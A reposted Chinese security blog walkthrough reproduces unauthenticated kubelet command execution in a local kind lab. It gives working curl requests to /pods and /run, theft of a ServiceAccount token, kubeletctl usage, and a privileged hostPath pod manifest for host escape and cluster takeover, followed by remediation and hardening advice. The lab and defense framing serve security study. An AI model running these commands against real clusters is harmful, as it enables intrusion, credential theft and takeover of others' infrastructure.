云原生未授权系列之kubelet未授权:匿名执行节点命令

admin 2026-08-22 04:42:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了Kuberneteskubelet10250端口因开启匿名访问且授权模式设为AlwaysAllow导致的未授权命令执行漏洞。攻击者可通过/pods端点获取节点所有Pod信息,再利用/run端点在容器内匿名执行任意命令,进而窃取ServiceAccountToken横向移动至kube-apiserver,最终通过创建特权Pod逃逸宿主机实现集群接管。修复建议包括关闭匿名访问、启用Webhook授权、网络隔离10250端口、启用NodeRestriction准入控制及定期使用kube-bench和kubeletctl扫描巡检。 综合评分: 84 文章分类: 云安全,渗透测试,漏洞分析,漏洞预警,红队


云原生未授权系列之kubelet未授权:匿名执行节点命令

原创

0x00 0x00

随笔漫记安全路

2026年8月21日 08:45 北京

在小说阅读器读本章

去阅读

声明:本文针对的是已公开、有官方修复方案的配置类安全问题(kubelet 未授权访问)。所有操作均在本地靶机环境中完成,仅用于安全研究与防御学习。请勿对未授权目标进行测试。


一、漏洞背景

1.1 kubelet 是什么

Kubernetes 集群里,每个节点上都跑着一个 kubelet 进程。它是节点的”大管家”——master 通过它告诉节点”该起哪个 Pod、该删哪个 Pod”,它就照着执行,并定期汇报节点和 Pod 的状态。

kubelet 不是被动等命令,它自己还开了一个 API 服务,监听两个端口:

| 端口 | 协议 | 作用 | | — | — | — | | 10250 | HTTPS | kubelet 主 API,提供最敏感的操作端点 | | 10255 | HTTP | 只读端点(只读端口,已在新版本废弃) |

10250 上有几个极其敏感的端点:

  • /pods —— 列出该节点上所有 Pod(含环境变量、挂载、ServiceAccount Token 路径)
  • /run/{namespace}/{pod}/{container} —— 在指定容器里执行命令
  • /exec/attach/portForward —— 交互式执行/端口转发
  • /logs —— 读容器日志

正常情况下,访问 10250 必须通过认证 + 授权(Webhook 模式,由 kube-apiserver 校验)。但当配置不当时,匿名用户也能调这些端点——等于在节点上白捡一个命令执行。

1.2 漏洞成因

kubelet 的认证授权由两个配置控制:

# /var/lib/kubelet/config.yaml
authentication:
  anonymous:
    enabled: true        # 允许匿名访问(漏洞根因之一)
authorization:
  mode: AlwaysAllow      # 授权全放行(漏洞根因之二)
  • anonymous.enabled: true —— 不带 token 也能连,身份是 system:anonymous
  • authorization.mode: AlwaysAllow —— 任何请求都允许

这两个一叠加,10250 就完全裸奔了。运维通常不会主动这么配,但老旧集群、自建集群、或者为了”排障临时关掉认证忘改回来”,都会踩这个坑。

1.3 危害

匿名拿到 10250 后:

  1. /pods 列出节点所有 Pod,从环境变量/挂载里捞 ServiceAccount Token
  2. /run 在容器里执行命令,直接拿到 shell
  3. 用偷来的 Token 打 kube-apiserver,横向到整个集群

危害等级:高危


二、利用条件

| 条件 | 说明 | 本复现是否满足 | | — | — | — | | 10250 网络可达 | 攻击者能连到节点 kubelet 端口(内网可达 / 误暴露) | ✅ kind 映射端口 | | anonymous-auth=true | 允许匿名连接,这是漏洞根因,非默认配置 | ✅ 手动改配置复现 | | 授权放行(AlwaysAllow 或 RBAC 过宽) | 匿名身份能调 /run/pods | ✅ 改成 AlwaysAllow 复现 | | 无需受害者交互 | 攻击者主动连接即可 | ✅ 纯主动利用 | | 无需任何凭证 | 不需要 token/证书 | ✅ 零认证 | | 节点上有可用的 Pod | /run 需要指定一个真实存在的 Pod/容器 | ✅ 集群默认就有 |

关键判断:这不是默认可利用的漏洞,而是配置错误(关认证 + 授权放行)叠加后才触发。但一旦触发,从 /run 命令执行到拿集群控制权几乎没有门槛。

默认配置是否安全:kubeadm / kind 默认 anonymous.enabled: false,授权用 Webhook(由 apiserver 校验),默认是安全的。出问题的一定是被人改过配置或用了不规范的老集群。


三、环境搭建

用 kind 建集群,再”刻意复现”kubelet 匿名访问的配置。

3.1 创建集群

cat&nbsp;> kind-kubelet.yaml <<'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
&nbsp; extraPortMappings:
&nbsp; - containerPort: 10250
&nbsp; &nbsp; hostPort: 10250
&nbsp; - containerPort: 6443
&nbsp; &nbsp; hostPort: 6443
EOF

kind create cluster --config kind-kubelet.yaml --name kubelet-lab

验证:

kubectl get nodes
# NAME &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; STATUS &nbsp; ROLES &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; AGE &nbsp; VERSION
# kubelet-lab-control-plane &nbsp;Ready &nbsp; &nbsp;control-plane &nbsp; 1m &nbsp; &nbsp;v1.29.x

3.2 复现漏洞:开启匿名访问

进入控制面节点:

docker&nbsp;exec&nbsp;-it kubelet-lab-control-plane bash

查看 kubelet 当前配置:

cat&nbsp;/var/lib/kubelet/config.yaml | grep -A3 -i&nbsp;"anonymous\|authorization"

正常应该看到 anonymous.enabled: falseauthorization.mode: Webhook。改成漏洞配置:

# 备份
cp&nbsp;/var/lib/kubelet/config.yaml /var/lib/kubelet/config.yaml.bak

# 用 sed 改两处
sed -i&nbsp;'s/enabled: false/enabled: true/'&nbsp;/var/lib/kubelet/config.yaml
sed -i&nbsp;'s/mode: Webhook/mode: AlwaysAllow/'&nbsp;/var/lib/kubelet/config.yaml

kind 节点内没有 systemd,直接 kill 进程让 kubelet 重启加载新配置:

# 找到 kubelet 进程并杀掉,它会被自动拉起
pkill kubelet

# 等几秒确认重启
ps -ef | grep kubelet | grep -v grep
exit

3.3 验证匿名访问已生效

# 不带任何 token/证书,直连 10250 的 /pods
curl -sk https://127.0.0.1:10250/pods |&nbsp;head&nbsp;-c 500

# 能返回一大串 JSON(节点上所有 Pod 信息),说明匿名访问已开启

正常加固的 kubelet,匿名访问 /pods 会返回 403 Forbidden;能返回数据即说明裸奔。


四、漏洞复现

攻击链全景

[1] 发现 10250 开放
&nbsp; &nbsp; &nbsp; &nbsp; │
[2] curl /pods 验证匿名访问 → 拿到节点所有 Pod 信息
&nbsp; &nbsp; &nbsp; &nbsp; │
[3] 从 Pod 信息里提取目标 namespace/pod/container
&nbsp; &nbsp; &nbsp; &nbsp; │
[4] curl /run/{ns}/{pod}/{container} → 在容器里执行命令
&nbsp; &nbsp; &nbsp; &nbsp; │
[5] 读 ServiceAccount Token → 横向打 kube-apiserver
&nbsp; &nbsp; &nbsp; &nbsp; │
[6] 用 token 创建特权 Pod → 逃逸宿主机 → 接管集群

4.1 信息收集:发现 10250

nmap -p 10250,10255 127.0.0.1

# 10250/tcp open &nbsp;ssl/http

10250 开放即高度可疑——这个端口只该对控制面开放。

4.2 验证匿名访问

# 列出节点上所有 Pod
curl -sk https://127.0.0.1:10250/pods > /tmp/pods.json

# 看看有哪些 Pod
python3 -c&nbsp;"
import json
data = json.load(open('/tmp/pods.json'))
for item in data['items']:
&nbsp; &nbsp; meta = item['metadata']
&nbsp; &nbsp; print(f\"{meta['namespace']}/{meta['name']}\")
"

输出类似:

kube-system/coredns-xxxxx
kube-system/etcd-kubelet-lab-control-plane
kube-system/kube-apiserver-xxxxx
default/...

/pods 返回的信息里还包含每个容器的环境变量和挂载点——/var/run/secrets/kubernetes.io/serviceaccount 这种路径就在里面,等于把”哪里有 Token”也告诉你了。

4.3 远程执行命令(核心)

kubelet 的 /run 端点可以在指定容器里执行命令。先挑一个 Pod(比如 kube-system 里随便一个):

# 提取一个目标 Pod
POD=$(python3 -c&nbsp;"
import json
data = json.load(open('/tmp/pods.json'))
print(data['items'][0]['metadata']['name'])
")
NS=$(python3 -c&nbsp;"
import json
data = json.load(open('/tmp/pods.json'))
print(data['items'][0]['metadata']['namespace'])
")
CONTAINER=$(python3 -c&nbsp;"
import json
data = json.load(open('/tmp/pods.json'))
print(data['items'][0]['spec']['containers'][0]['name'])
")
echo&nbsp;"目标:&nbsp;$NS/$POD/$CONTAINER"

执行命令:

# 在该容器里执行 id
curl -sk -XPOST \
&nbsp;&nbsp;"https://127.0.0.1:10250/run/$NS/$POD/$CONTAINER"&nbsp;\
&nbsp; -d&nbsp;"cmd=id"

# 返回: uid=0(root) 之类的

cmd 参数就是要执行的命令。到这一步,你已经在节点上的容器里拥有了命令执行能力,完全匿名,无需任何凭证。

4.4 偷 ServiceAccount Token 横向到 apiserver

每个 Pod 默认都挂载了所在 namespace 的 ServiceAccount Token。通过 /run 读取它:

# 读 token
TOKEN=$(curl -sk -XPOST \
&nbsp;&nbsp;"https://127.0.0.1:10250/run/$NS/$POD/$CONTAINER"&nbsp;\
&nbsp; -d&nbsp;"cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token")

echo&nbsp;"$TOKEN"&nbsp;|&nbsp;head&nbsp;-c 50
# eyJhbGciOiJSUzI1NiIs...

用这个 token 打 kube-apiserver:

kubectl --server=https://127.0.0.1:6443 \
&nbsp; &nbsp; &nbsp; &nbsp; --insecure-skip-tls-verify \
&nbsp; &nbsp; &nbsp; &nbsp; --token="$TOKEN"&nbsp;\
&nbsp; &nbsp; &nbsp; &nbsp; get pods --all-namespaces

能列 Pod,说明 token 有效,已经横向到了集群 API 层。

4.5 用工具自动化(kubeletctl)

手动 curl 比较繁琐,社区有现成工具 kubeletctl(https://github.com/cyberark/kubeletctl[1]):

# 扫描集群所有节点的 kubelet 是否匿名可访问
kubeletctl scan --server 127.0.0.1

# 列出所有 Pod
kubeletctl pods --server 127.0.0.1

# 在指定容器执行命令
kubeletctl&nbsp;exec&nbsp;--server 127.0.0.1 \
&nbsp; --namespace&nbsp;$NS&nbsp;--pod&nbsp;$POD&nbsp;--container&nbsp;$CONTAINER&nbsp;\
&nbsp; --command&nbsp;"cat /var/run/secrets/kubernetes.io/serviceaccount/token"

kubeletctl scan 能一键识别整个集群哪些节点 kubelet 裸奔,实战中常用。

4.6 进一步:拿集群控制权

如果偷到的 ServiceAccount 权限足够(比如绑了 cluster-admin,这种过度授权在现实中很常见),直接创建特权 Pod 逃逸宿主机——和 etcd 篇、Docker 篇的后段完全一样:

kubectl --server=https://127.0.0.1:6443 \
&nbsp; &nbsp; &nbsp; &nbsp; --insecure-skip-tls-verify \
&nbsp; &nbsp; &nbsp; &nbsp; --token="$TOKEN"&nbsp;apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata:
&nbsp; name: pwn
&nbsp; namespace: default
spec:
&nbsp; hostPID:&nbsp;true
&nbsp; nodeSelector:
&nbsp; &nbsp; kubernetes.io/hostname: kubelet-lab-control-plane
&nbsp; tolerations:
&nbsp; - key: node-role.kubernetes.io/control-plane
&nbsp; &nbsp; operator: Exists
&nbsp; containers:
&nbsp; - name: pwn
&nbsp; &nbsp; image: alpine
&nbsp; &nbsp;&nbsp;command: ["sleep","3600"]
&nbsp; &nbsp; securityContext:
&nbsp; &nbsp; &nbsp; privileged:&nbsp;true
&nbsp; &nbsp; volumeMounts:
&nbsp; &nbsp; - name: host
&nbsp; &nbsp; &nbsp; mountPath: /host
&nbsp; volumes:
&nbsp; - name: host
&nbsp; &nbsp; hostPath:
&nbsp; &nbsp; &nbsp; path: /
EOF

Pod 起来后 nsenter --target 1 逃逸到宿主机,读 /etc/kubernetes/admin.conf 接管集群。至此完成 kubelet 未授权 → 节点命令执行 → 集群接管 的完整链路。


五、关键点解读

5.1 为什么 kubelet 匿名 = 节点失守

kubelet 的 /run 端点本质是”在容器里执行任意命令”。虽然命令在容器内执行(受容器隔离),但:

  1. 容器里通常有 ServiceAccount Token,偷出来就能横向到 apiserver
  2. 如果选中的 Pod 本身是特权 Pod(如一些监控 agent),命令执行可能直接波及宿主机
  3. /pods 泄露的 Pod 信息含环境变量,大量密码/key 直接暴露

所以匿名 kubelet 是”节点级命令执行 + 集群横向”的跳板,危害介于 Docker API(单机)和 etcd(全集群)之间。

5.2 和系列前两篇的区别

| 维度 | etcd 未授权 | Docker API 未授权 | kubelet 未授权 | | — | — | — | — | | 入口 | etcd 2379 | dockerd 2375 | kubelet 10250 | | 直接危害 | 偷集群数据 | 拿单台宿主机 shell | 节点容器命令执行 | | 横向能力 | 强(Token 直接打 apiserver) | 弱(限单机) | 强(偷 token 打 apiserver) | | 利用门槛 | 中(需从 etcd 解 JWT) | 低(一条 docker run) | 中(需构造 /run 请求) |

三者各有侧重,放在一起正好覆盖了云原生攻击面的三种典型路径。


六、踩坑记录

| 问题 | 原因 | 解决 | | — | — | — | | curl /pods 返回 403 | anonymous-auth 还是 false,或授权是 Webhook | 确认 config.yaml 改成了 enabled: true + mode: AlwaysAllow,并重启 kubelet | | pkill kubelet 后没重启 | kind 节点内 kubelet 不是 systemd 管的 | kind 的 kubelet 是静态进程,kill 后由容器内的 supervisor 拉起;若没拉起,docker restart 节点容器 | | /run 返回空 | cmd 参数没传对,或 Pod 名/容器名拼错 | /run/{ns}/{pod}/{container} 路径要精确,从 /pods 输出里复制 | | /run 报 container not found | Pod 里有多个容器,只指定了第一个 | 用 /pods 确认所有容器名,指定正确的那个 | | 偷的 token 用不了 | 1.24+ 的 SA token 是 BoundServiceAccountToken,有受众和过期限制 | 选 kube-system 里长期运行的 Pod(如 coredns),token 更稳定 | | kubectl 用 token 报 Unauthorized | apiserver 启用了 --anonymous-auth=false 且 token 过期 | 换一个 Pod 重偷;apiserver 的 anonymous 和 kubelet 的是两回事 |


七、修复与防御

7.1 立即修复(根治)

# /var/lib/kubelet/config.yaml
authentication:
&nbsp;&nbsp;anonymous:
&nbsp; &nbsp;&nbsp;enabled:&nbsp;false&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 关闭匿名访问
&nbsp;&nbsp;webhook:
&nbsp; &nbsp;&nbsp;enabled:&nbsp;true&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 用 webhook 认证(由 apiserver 校验 token)
authorization:
&nbsp;&nbsp;mode:&nbsp;Webhook&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 用 webhook 授权(由 apiserver 校验 RBAC)

改完重启 kubelet。这样 10250 必须带有效 token 才能访问,匿名请求直接 401。

7.2 纵深防御

| 层面 | 措施 | | — | — | | 网络隔离 | 10250 仅允许控制面节点访问,对业务网/公网全部拒绝 | | RBAC 收敛 | 即便认证绕过,最小权限 RBAC 也能限制能操作的资源;定期审计 clusterrolebindings | | NodeRestriction 准入 | 启用 --enable-admission-plugins=NodeRestriction,限制 kubelet 只能操作自己节点上的资源,不能越权 | | Token 短期化 | 升级到 BoundServiceAccountToken(有过期 + 受众绑定),偷到的 token 很快失效 | | 审计日志 | 开启 apiserver audit,监控匿名访问 10250、异常 /run 调用 | | 定期扫描 | 用 kube-bench 跑 CIS 基线;用 kubeletctl scan 巡检所有节点 |

7.3 快速自检命令

# 1. 检查 kubelet 是否关了匿名访问
docker&nbsp;exec&nbsp;kubelet-lab-control-plane \
&nbsp; grep -A2&nbsp;"anonymous"&nbsp;/var/lib/kubelet/config.yaml
# 期望: enabled: false

# 2. 检查授权模式
docker&nbsp;exec&nbsp;kubelet-lab-control-plane \
&nbsp; grep&nbsp;"mode"&nbsp;/var/lib/kubelet/config.yaml
# 期望: mode: Webhook

# 3. 从外部测试 10250 匿名访问(在非控制面机器执行)
curl -sk https://x.x.x.x:10250/pods
# 期望: 403 Forbidden 或 Connection refused

八、总结

| 阶段 | 攻击者动作 | 防御者应做 | | — | — | — | | 入口 | 扫描发现 10250 开放 | 10250 网络隔离,仅控制面可达 | | 突破 | 匿名 curl /pods 拿 Pod 信息 | anonymous-auth=false + Webhook 授权 | | 执行 | /run 在容器里执行命令 | NodeRestriction 限制 kubelet 越权 | | 横向 | 偷 SA Token 打 apiserver | Token 短期化 + RBAC 最小权限 | | 接管 | 创建特权 Pod 逃逸 | PodSecurity 拒绝 privileged/hostPID |

核心结论:kubelet 10250 匿名访问是”节点级命令执行 + 集群横向”的典型路径。修复成本极低(关匿名 + Webhook 授权),但一旦疏忽,从节点执行到集群接管几乎没有门槛。务必作为集群安全基线的必查项。


参考

  • Kubernetes 官方文档 – kubelet 认证授权:https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/[2]
  • kubeletctl 工具:https://github.com/cyberark/kubeletctl[3]
  • CIS Kubernetes Benchmark(kubelet 相关条目)

引用链接

[1]https://github.com/cyberark/kubeletctl

[2]https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/

[3]https://github.com/cyberark/kubeletctl


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:随笔漫记安全路 0x00 0x00《云原生未授权系列之kubelet未授权:匿名执行节点命令》

评论:0   参与:  0